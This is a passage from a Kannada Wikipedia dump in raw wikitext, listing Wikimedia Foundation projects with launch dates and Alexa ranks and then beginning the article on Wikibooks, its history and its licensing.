ಆಧಾರಿತ ಯೋಜನೆಯಾಗಿದೆ. == ಯೋಜನೆಗಳು ಮತ್ತು ಉಪಕ್ರಮಗಳು == === ವಿಕಿಮೀಡಿಯ ಯೋಜನೆಗಳು === ಹೆಚ್ಚಿನ ವಿಕಿಮೀಡಿಯಾ ಯೋಜನೆ [[ಜಾಲತಾಣ|ಜಾಲತಾಣಗಳಲ್ಲಿನ]] ವಿಷಯವು ಗುಣಲಕ್ಷಣ ಮತ್ತು ಹಂಚಿಕೆ-ಸಮಾನವಾಗಿ [[ಕ್ರಿಯೇಟಿವ್ ಕಾಮನ್ಸ್ ಪರವಾನಗಿ|ಕ್ರಿಯೇಟಿವ್ ಕಾಮನ್ಸ್ ಪರವಾನಗಿಗಳ]] v3.0 ಅಡಿಯಲ್ಲಿ ಮರುಹಂಚಿಕೆಗಾಗಿ ಪರವಾನಗಿ ಪಡೆದಿದೆ. ಈ ವಿಷಯವನ್ನು ಸ್ವಯಂಸೇವಕರಿಗೆ ಕೊಡುಗೆ ನೀಡುವುದರಿಂದ ಮತ್ತು ಕಡಿಮೆ ಅಥವಾ ಯಾವುದೇ [[ಕೃತಿಸ್ವಾಮ್ಯ|ಹಕ್ಕುಸ್ವಾಮ್ಯ]] ನಿರ್ಬಂಧಗಳಿಲ್ಲದ ಸಂಪನ್ಮೂಲಗಳಿಂದ ಪಡೆಯಲಾಗುತ್ತದೆ, ಉದಾಹರಣೆಗೆ ಕಾಪಿಲೆಫ್ಟ್ ವಸ್ತು ಮತ್ತು ಸಾರ್ವಜನಿಕ ಡೊಮೇನ್‌ನಲ್ಲಿ ಕೆಲಸ ಮಾಡುತ್ತದೆ. ==== ವಿಷಯ ಯೋಜನೆಗಳು ==== ಪ್ರತಿಷ್ಠಾನವು ಹನ್ನೊಂದು ವಿಕಿಗಳನ್ನು ನಿರ್ವಹಿಸುತ್ತದೆ, ಅದು ಉಚಿತ ವಿಷಯ ಮಾದರಿಯನ್ನು ಅನುಸರಿಸುತ್ತದೆ, ಇದರ ಮುಖ್ಯ ಗುರಿಯೆಂದರೆ ಜ್ಞಾನದ ಪ್ರಸಾರ. ಉದ್ಘಾಟನಾ ದಿನಾಂಕದ ವೇಳೆಗೆ ಇವು ಸೇರಿವೆ: {| style="margin-top: 2em" | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikipedia-logo-v2.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿಪೀಡಿಯ|ವಿಕಿಪೀಡಿಯಾ]] <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಆನ್‌ಲೈನ್ ವಿಶ್ವಕೋಶ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikipedia.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭ:''' ಜನವರಿ 15, 2001 <br /><br /><br /><br /> '''ಆವೃತ್ತಿಗಳು:''' 250 ಕ್ಕೂ ಹೆಚ್ಚು ಭಾಷೆಗಳಲ್ಲಿ 290 ಕ್ಕಿಂತ ಹೆಚ್ಚು <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 10 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikipedia.org|title=wikipedia.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=25 ಆಗಸ್ಟ್ 2020|archive-url=https://web.archive.org/web/20200825070245/https://www.alexa.com/siteinfo/wikipedia.org|url-status=dead}}</ref> | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wiktionary-logo.svg|50x50px]] | style="vertical-align: top; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ವಿಕ್ಷನರಿ <br /><br /><br /><br /> '''ವಿವರಣೆ:''' [[ಕೋಶ|ಆನ್‌ಲೈನ್ ನಿಘಂಟು]] ಮತ್ತು ಶಬ್ದಕೋಶ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wiktionary.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭ:''' ಡಿಸೆಂಬರ್ 12, 2002 <br /><br /><br /><br /> '''ಆವೃತ್ತಿಗಳು:''' 170 ಕ್ಕೂ ಹೆಚ್ಚು ಭಾಷೆಗಳು ಮತ್ತು ಸರಳ ಇಂಗ್ಲಿಷ್‌ನಲ್ಲಿ <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 561 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wiktionary.org|title=wiktionary.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=2 ಜೂನ್ 2009|archive-url=https://web.archive.org/web/20090602220844/https://www.alexa.com/siteinfo/wiktionary.org|url-status=dead}}</ref> | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikibooks-logo.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ವಿಕಿಬುಕ್ಸ್ <br /><br /><br /><br /> '''ವಿವರಣೆ:''' [[ಪಠ್ಯಪುಸ್ತಕ|ಪಠ್ಯಪುಸ್ತಕಗಳ]] ಸಂಗ್ರಹ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikibooks.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ:''' ಜುಲೈ 10, 2003 <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 2,445 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikibooks.org|title=wikibooks.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=20 ಮೇ 2009|archive-url=https://web.archive.org/web/20090520042911/https://www.alexa.com/siteinfo/wikibooks.org|url-status=dead}}</ref> |- | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikiquote-logo.svg|59x59px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿಕೋಟ್]] <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಉದ್ಧರಣಗಳ ಸಂಗ್ರಹ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikiquote.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭ:''' ಜುಲೈ 10, 2003 <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 5,568 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikiquote.org|title=wikiquote.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=10 ಏಪ್ರಿಲ್ 2009|archive-url=https://web.archive.org/web/20090410004845/https://www.alexa.com/siteinfo/wikiquote.org|url-status=dead}}</ref> | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikivoyage-logo.svg|50x50px]] | style="vertical-align: top; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ವಿಕಿವೊಯೇಜ್ <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಪ್ರಯಾಣ ಮಾರ್ಗದರ್ಶಿ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikivoyage.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭ:''' ಜುಲೈ 2003 ವಿಕಿಟ್ರಾವೆಲ್ ಆಗಿ <br /><br /><br /><br /> '''ಫೋರ್ಕ್ಡ್ :''' ಡಿಸೆಂಬರ್ 10, 2006 (ಜರ್ಮನ್ ಭಾಷೆ) <br /><br /><br /><br /> '''ಮರು-ಪ್ರಾರಂಭ:''' ಜನವರಿ 15, 2013, ಇಂಗ್ಲಿಷ್ ಭಾಷೆಯಲ್ಲಿ ಡಬ್ಲುಎಂಎಫ್ <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 19,792 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikivoyage.org|title=wikivoyage.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=26 ಮೇ 2010|archive-url=https://web.archive.org/web/20100526031721/https://www.alexa.com/siteinfo/wikivoyage.org|url-status=dead}}</ref> | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikisource-logo.svg|52x52px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿಸೋರ್ಸ್]] <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಡಿಜಿಟಲ್ ಲೈಬ್ರರಿ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' wikisource.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ:''' ನವೆಂಬರ್ 24, 2003 <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 2,934 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikisource.org|title=wikisource.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=31 ಜುಲೈ 2009|archive-url=https://web.archive.org/web/20090731232411/https://www.alexa.com/siteinfo/wikisource.org|url-status=dead}}</ref> |- | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Commons-logo.svg|67x67px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿಮೀಡಿಯ ಕಾಮನ್ಸ್]] <br /><br /><br /><br /> <nowiki></br></nowiki> '''ವಿವರಣೆ:''' ಚಿತ್ರಗಳು, ಶಬ್ದಗಳು, ವೀಡಿಯೊಗಳು ಮತ್ತು ಸಾಮಾನ್ಯ ಮಾಧ್ಯಮಗಳ ಭಂಡಾರ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಜಾಲತಾಣ:''' commons.wikimedia.org <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಪ್ರಾರಂಭ:''' ಸೆಪ್ಟೆಂಬರ್ 7, 2004 | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikispecies-logo.svg|59x59px]] | style="vertical-align: top; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿ ಸ್ಪೀಷೀಸ್|ವಿಕಿಸ್ಪೀಷೀಸ್]] <br /><br /><br /><br /> <nowiki></br></nowiki> '''ವಿವರಣೆ:''' [[ಜಾತಿ (ಜೀವಶಾಸ್ತ್ರ)|ಜಾತಿಗಳ]] [[ಟ್ಯಾಕ್ಸಾನಮಿ|ಟ್ಯಾಕ್ಸಾನಮಿಕ್]] ಕ್ಯಾಟಲಾಗ್ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಜಾಲತಾಣ:''' species.wikimedia.org <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಪ್ರಾರಂಭ:''' ಸೆಪ್ಟೆಂಬರ್ 14, 2004 | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikinews-logo.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿ ನ್ಯೂಸ್|ವಿಕಿನ್ಯೂಸ್]] <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಆನ್‌ಲೈನ್ ಪತ್ರಿಕೆ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikinews.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭ:''' ನವೆಂಬರ್ 8, 2004 <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 62,218 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikinews.org|title=wikinews.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=18 ಜುಲೈ 2009|archive-url=https://web.archive.org/web/20090718040214/https://www.alexa.com/siteinfo/wikinews.org|url-status=dead}}</ref> |- | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikiversity-logo.svg|50x50px]] | style="vertical-align: top; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ವಿಕಿವರ್ಸಿಟಿ <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಟ್ಯುಟೋರಿಯಲ್ ಮತ್ತು ಕೋರ್ಸ್‌ಗಳ ಸಂಗ್ರಹ, ಸಂಶೋಧನೆಯನ್ನು ಸಂಘಟಿಸಲು ಹೋಸ್ಟಿಂಗ್ ಪಾಯಿಂಟ್‌ ಆಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುತ್ತಿದೆ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikiversity.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭಿಸಲಾಗಿದೆ:''' ಆಗಸ್ಟ್ 15, 2006 <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 10,727 (Global, January 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikiversity.org|title=wikiversity.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=29 ಜೂನ್ 2009|archive-url=https://web.archive.org/web/20090629193616/https://www.alexa.com/siteinfo/wikiversity.org|url-status=dead}}</ref> | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikidata-logo.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ವಿಕಿಡಾಟಾ]] <br /><br /><br /><br /> '''ವಿವರಣೆ:''' ಜ್ಞಾನ ನೆಲೆ <br /><br /><br /><br /> '''ಜಾಲತಾಣ:''' www.wikidata.org <br /><br /><br /><br /> '''ಪ್ರಾರಂಭ:''' ಅಕ್ಟೋಬರ್ 30, 2012 <br /><br /><br /><br /> '''ಅಲೆಕ್ಸಾ ಶ್ರೇಣಿ:''' 7,818 (ಜಾಗತಿಕ, ಜನವರಿ 2020[ ನವೀಕರಣ ] ) <ref>{{Cite web|url=https://www.alexa.com/siteinfo/wikidata.org|title=wikidata.org Competitive Analysis, Marketing Mix and Traffic - Alexa|website=www.alexa.com|access-date=13 January 2020|archive-date=3 ನವೆಂಬರ್ 2012|archive-url=https://web.archive.org/web/20121103023306/https://www.alexa.com/siteinfo/wikidata.org|url-status=dead}}</ref> |- |} ==== ಮೂಲಸೌಕರ್ಯ ಮತ್ತು ಸಮನ್ವಯ ಯೋಜನೆಗಳು ==== ಉಚಿತ ಜ್ಞಾನ ಯೋಜನೆಗಳ ಮೂಲಸೌಕರ್ಯ ಅಥವಾ ಸಮನ್ವಯವನ್ನು ಒದಗಿಸಲು ಹಲವಾರು ಹೆಚ್ಚುವರಿ ಯೋಜನೆಗಳು ಅಸ್ತಿತ್ವದಲ್ಲಿವೆ. ಉದಾಹರಣೆಗೆ, ವಿಕಿಮೀಡಿಯಾ ಸೈಟ್‌ಗಳ ಬಳಕೆಯನ್ನು ಉತ್ತೇಜಿಸುವ ಉತ್ತಮ ಅಭ್ಯಾಸಗಳಿಗಾಗಿ [[outreach:|re]] ಟ್ರೀಚ್ ಮಾರ್ಗಸೂಚಿಗಳನ್ನು ನೀಡುತ್ತದೆ. ಇವುಗಳ ಸಹಿತ: {| style="margin-top: 2em" | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikimedia_Community_Logo.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ಮೆಟಾ-ವಿಕಿ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ವಿವರಣೆ:''' ಎಲ್ಲಾ ಯೋಜನೆಗಳನ್ನು ಮತ್ತು ವಿಕಿಮೀಡಿಯಾ ಸಮುದಾಯವನ್ನು ಸಂಘಟಿಸುವ ಕೇಂದ್ರ ತಾಣ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಜಾಲತಾಣ:''' meta.wikimedia.org <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಪ್ರಾರಂಭ:''' ನವೆಂಬರ್ 9, 2001 | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Incubator-logo.svg|63x63px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ವಿಕಿಮೀಡಿಯಾ ಇನ್ಕ್ಯುಬೇಟರ್ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ವಿವರಣೆ:''' ಅಭಿವೃದ್ಧಿಯಲ್ಲಿ ಭಾಷಾ ಆವೃತ್ತಿಗಳಿಗಾಗಿ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಜಾಲತಾಣ:''' incubator.wikimedia.org <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಪ್ರಾರಂಭ:''' ಜೂನ್ 2, 2006 |- | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:MediaWiki-notext.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' [[ಮೀಡಿಯಾವಿಕಿ]] <br /><br /><br /><br /> <nowiki></br></nowiki> '''ವಿವರಣೆ:''' [[ಮೀಡಿಯಾವಿಕಿ]] ಸಾಫ್ಟ್‌ವೇರ್‌ನಲ್ಲಿ ಕೆಲಸವನ್ನು ಸಂಘಟಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತದೆ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಜಾಲತಾಣ:''' www.mediawiki.org <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಪ್ರಾರಂಭ:''' ಜನವರಿ 25, 2002 | style="vertical-align: top; padding-top: 5px; padding-right: 1em; width: 5%" |[[File:Wikitech_logo.svg|50x50px]] | style="vertical-align: top; padding-right: 3em; padding-bottom: 3em; width: 28%" | '''ಹೆಸರು:''' ವಿಕಿಟೆಕ್ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಅಲಿಯಾಸ್:''' [[wikitech:Help:Cloud Services Introduction|ವಿಕಿಮೀಡಿಯಾ ಮೇಘ ಸೇವೆಗಳು]] (ಡಬ್ಲ್ಯುಎಂಸಿಎಸ್), ಇದನ್ನು ಮೊದಲು "ವಿಕಿಮೀಡಿಯಾ ಲ್ಯಾಬ್ಸ್" ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು <br /><br /><br /><br /> <nowiki></br></nowiki> '''ವಿವರಣೆ:''' ತಾಂತ್ರಿಕ ಯೋಜನೆಗಳು ಮತ್ತು ಮೂಲಸೌಕರ್ಯ <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಜಾಲತಾಣ:''' wikitech.wikimedia.org <br /><br /><br /><br /> <nowiki></br></nowiki> '''ಪ್ರಾರಂಭ:''' ಜೂನ್ 3, 2011 |- |} == ಉಲ್ಲೇಖಗಳು == rmphgv9d3z222z1gurdt3iv71x7zzsl ವಿಕಿಪುಸ್ತಕ 0 129486 1116459 1000122 2022-08-23T13:02:20Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox website|name=Wikibooks|logo=[[File:Wikibooks-logo-en.svg|135px|Wikibooks logo from 2009 to the present]]|screenshot=[[File:Wikibooks screenshot 2009 - visible.png|250px|border|Detail of the Wikibooks main page. All major Wikibooks projects are listed by number of articles.]]|caption=Screenshot of wikibooks.org home page|url={{URL|https://www.wikibooks.org/}}|commercial=No|type=Textbooks wiki|language=multilingual|registration=Optional|owner=[[Wikimedia Foundation]]|author=[[b:User:Karl Wick|User Karl Wick]] and the Wikimedia Community|launch_date={{start date and age|2003|07|10}}|current_status=Active|alexa={{DecreasePositive}} 2,445 ({{as of|2020|01|13|alt=January 2020}})<ref name="alexa">{{cite web |title=wikibooks.org Competitive Analysis, Marketing Mix and Traffic - Alexa |url=https://www.alexa.com/siteinfo/wikibooks.org |website=www.alexa.com |accessdate=13 January 2020 |archive-date=20 ಮೇ 2009 |archive-url=https://web.archive.org/web/20090520042911/https://www.alexa.com/siteinfo/wikibooks.org |url-status=dead }}</ref>}} [[ಚಿತ್ರ:Wikibooks_growth.png|right|thumb| ಎಂಟು ಅತಿದೊಡ್ಡ ವಿಕಿಬುಕ್ಸ್ ಸೈಟ್‌ಗಳ ಬೆಳವಣಿಗೆ (ಭಾಷೆಯ ಪ್ರಕಾರ), ಜುಲೈ 2003-ಜನವರಿ 2010 ]] '''ವಿಕಿಪುಸ್ತಕ''' ಅಥವಾ '''ವಿಕಿಬುಕ್ಸ್''' (ಈ ಹಿಂದೆ ''ವಿಕಿಮೀಡಿಯಾ ಉಚಿತ ಪಠ್ಯಪುಸ್ತಕ ಯೋಜನೆ'' ಮತ್ತು ''ವಿಕಿಮೀಡಿಯಾ-ಪಠ್ಯಪುಸ್ತಕಗಳು ಎಂದು ಕರೆಯಲಾಗುತ್ತಿತ್ತು'' ) [[ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ|ವಿಕಿಮೀಡಿಯಾ ಫೌಂಡೇಶನ್]] ಆಯೋಜಿಸಿರುವ ವಿಕಿ- ಆಧಾರಿತ [[ವಿಕಿಮೀಡಿಯ ಪ್ರತಿಷ್ಠಾನ|ವಿಕಿಮೀಡಿಯಾ ಯೋಜನೆಯಾಗಿದ್ದು]] ಉಚಿತ ವಿಷಯ ಇ-ಪುಸ್ತಕ [[ಪಠ್ಯಪುಸ್ತಕ|ಪಠ್ಯಪುಸ್ತಕಗಳು]] ಮತ್ತು ಯಾರಾದರೂ ಸಂಪಾದಿಸಬಹುದಾದ ಟಿಪ್ಪಣಿ ಪಠ್ಯಗಳನ್ನು ರಚಿಸುತ್ತದೆ. == ಇತಿಹಾಸ == Wikibooks.org ಡೊಮೇನ್ ಅನ್ನು {{Start date|2003|07|19}} ನೋಂದಾಯಿಸಲಾಗಿದೆ. <ref>{{Cite web|url=http://whois.domaintools.com/wikibooks.org|title=Wikibooks.org Whois Record|publisher=DomainTools, LLC|access-date=22 January 2013}}</ref> [[ಇಂಗಾಲೀಯ ರಸಾಯನಶಾಸ್ತ್ರ|ಸಾವಯವ ರಸಾಯನಶಾಸ್ತ್ರ]] ಮತ್ತು [[ಭೌತಶಾಸ್ತ್ರ|ಭೌತಶಾಸ್ತ್ರದಂತಹ]] ವಿಷಯಗಳ ಬಗ್ಗೆ ಉಚಿತ ಪಠ್ಯಪುಸ್ತಕಗಳನ್ನು ಆತಿಥ್ಯ ವಹಿಸಲು ಮತ್ತು ನಿರ್ಮಿಸಲು ಇದನ್ನು ಪ್ರಾರಂಭಿಸಲಾಯಿತು. ವಿಕಿಜೂನಿಯರ್ ಮತ್ತು ವಿಕಿವರ್ಸಿಟಿ ಎಂಬ ಎರಡು ಪ್ರಮುಖ ಉಪ-ಯೋಜನೆಗಳನ್ನು ಅದರ ಅಧಿಕೃತ ನೀತಿಯನ್ನು ನಂತರ ಬದಲಾಯಿಸುವ ಮೊದಲು ವಿಕಿಪುಸ್ತಕದಲ್ಲಿ ರಚಿಸಲಾಗಿದೆ, ಇದರಿಂದಾಗಿ ವಿಕಿಮೀಡಿಯ ಫೌಂಡೇಶನ್‌ನ ಹೊಸ ಯೋಜನಾ ನೀತಿಯ ಪ್ರಕಾರ ಭವಿಷ್ಯದ ಇನ್ಕ್ಯುಬೇಟರ್ ಮಾದರಿಯ ಯೋಜನೆಗಳನ್ನು ಪ್ರಾರಂಭಿಸಲಾಗುತ್ತದೆ. ಆಗಸ್ಟ್ 2006 ರಲ್ಲಿ, ವಿಕಿವರ್ಸಿಟಿ ಸ್ವತಂತ್ರ ವಿಕಿಮೀಡಿಯಾ ಫೌಂಡೇಶನ್ ಯೋಜನೆಯಾಯಿತು. <ref>{{Cite web|url=http://mentalfloss.com/article/14633/wikipedia-now-serving-k-12-and-over|title=Wikipedia, now serving K-12 and over|date=2006-08-04|website=mentalfloss.com|language=en|access-date=2019-09-28}}</ref> 2008 ರಿಂದ ಬೇಸ್ ಎಂಬ ಹುಡುಕು ಯಂತ್ರದಲ್ಲಿ ವಿಕಿಪುಸ್ತಕವನ್ನು ಸೇರಿಸಲಾಗಿದೆ . <ref>{{Cite web|url=https://www.base-search.net/Record/a54c9de5aeca8c528f687d1e1d3827e4a5c3eb8638dc57a0557413f8c3206069/|title=Suchmaschine BASE (Bielefeld Academic Search Engine): Wikibooks: Viquillibres : Portada|website=www.base-search.net|access-date=15 January 2018}}</ref> ಜೂನ್ 2016 ರಲ್ಲಿ, Compete.com ವಿಕಿಬುಕ್ಸ್ 1,478,812 ವಿಶಿಷ್ಟ ಸಂದರ್ಶಕರ ಹೊಂದಿದೆಯೆಂದು ಅಂದಾಜಿಸಲಾಗಿದೆ. === ವಿಕಿಜುನಿಯರ್ === [[wikibooks:Wikijunior|ವಿಕಿಜೂನಿಯರ್]] ಎನ್ನುವುದು ವಿಕಿಪುಸ್ತಕದ ಉಪ- [[wikibooks:Wikijunior|ಯೋಜನೆಯಾಗಿದ್ದು]] ಅದು ಮಕ್ಕಳಿಗಾಗಿ ಪುಸ್ತಕಗಳಲ್ಲಿ ಪರಿಣತಿ ಪಡೆದಿದೆ. ಈ ಯೋಜನೆಯು ನಿಯತಕಾಲಿಕೆ ಮತ್ತು ವೆಬ್‌ಸೈಟ್ ಎರಡನ್ನೂ ಒಳಗೊಂಡಿದೆ. ಪ್ರಸ್ತುತ ಇದನ್ನು ಇಂಗ್ಲಿಷ್, ಡ್ಯಾನಿಶ್, ಫಿನ್ನಿಷ್, ಫ್ರೆಂಚ್, ಜರ್ಮನ್, ಇಟಾಲಿಯನ್, ಜಪಾನೀಸ್, ಸ್ಪ್ಯಾನಿಷ್ ಮತ್ತು ಅರೇಬಿಕ್ ಭಾಷೆಗಳಲ್ಲಿ ಅಭಿವೃದ್ಧಿಪಡಿಸಲಾಗುತ್ತಿದೆ. ಇದಕ್ಕೆ ಬೆಕ್ ಫೌಂಡೇಶನ್‌ನ ಅನುದಾನದಿಂದ ಹಣ ನೀಡಲಾಗುತ್ತದೆ. == ಪುಸ್ತಕ ವಿಷಯ == ಕೆಲವು ಪುಸ್ತಕಗಳು ಮೂಲವಾಗಿದ್ದರೂ, ಇತರವು ಅಂತರ್ಜಾಲದಲ್ಲಿ ಕಂಡುಬರುವ ಉಚಿತ ವಿಷಯ ಪಠ್ಯಪುಸ್ತಕಗಳ ಇತರ ಮೂಲಗಳಿಂದ ಪಠ್ಯವನ್ನು ನಕಲಿಸಿದಂತೆ ಪ್ರಾರಂಭವಾಯಿತು. ಜಾಲತಾಣದ ಎಲ್ಲಾ ವಿಷಯವನ್ನು [[ಕ್ರಿಯೇಟಿವ್ ಕಾಮನ್ಸ್ ಪರವಾನಗಿ|ಕ್ರಿಯೇಟಿವ್ ಕಾಮನ್ಸ್ ಅಟ್ರಿಬ್ಯೂಷನ್-ಶೇರ್ ಅಲೈಕ್]] ಪರವಾನಗಿ (ಅಥವಾ ಹೊಂದಾಣಿಕೆಯ ಪರವಾನಗಿ) ಅಡಿಯಲ್ಲಿ ಬಿಡುಗಡೆ ಮಾಡಲಾಗುತ್ತದೆ. ಇದರರ್ಥ, ಅದರ ಸಹೋದರಿ ಯೋಜನೆಯಾದ ವಿಕಿಪೀಡಿಯಾದಂತೆ, ಕೊಡುಗೆಗಳು ತಮ್ಮ ಸೃಷ್ಟಿಕರ್ತರಿಗೆ ಹಕ್ಕುಸ್ವಾಮ್ಯದಲ್ಲಿ ಉಳಿದಿವೆ, ಆದರೆ ಪರವಾನಗಿ ಅದನ್ನು ಕೆಲವು ಷರತ್ತುಗಳಿಗೆ ಒಳಪಟ್ಟು ಮುಕ್ತವಾಗಿ ವಿತರಿಸಬಹುದು ಮತ್ತು ಮರುಬಳಕೆ ಮಾಡಬಹುದು ಎಂದು ಖಚಿತಪಡಿಸುತ್ತದೆ. ವಿಕಿಬುಕ್ಸ್ [[ವಿಕಿಸೋರ್ಸ್|ವಿಕಿಸೋರ್ಸ್‌ನಿಂದ]] ಭಿನ್ನವಾಗಿದೆ, ಇದರಲ್ಲಿ [[ವಿಕಿಸೋರ್ಸ್]] [[ವಿಲಿಯಂ ಷೇಕ್ಸ್‌ಪಿಯರ್|ಶೇಕ್ಸ್‌ಪಿಯರ್ ನಾಟಕಗಳ]] ಮೂಲ [[ವಿಲಿಯಂ ಷೇಕ್ಸ್‌ಪಿಯರ್|ಪಠ್ಯದಂತಹ]] ಅಸ್ತಿತ್ವದಲ್ಲಿರುವ ಉಚಿತ ವಿಷಯ ಕೃತಿಗಳ ನಿಖರವಾದ ಪ್ರತಿಗಳು 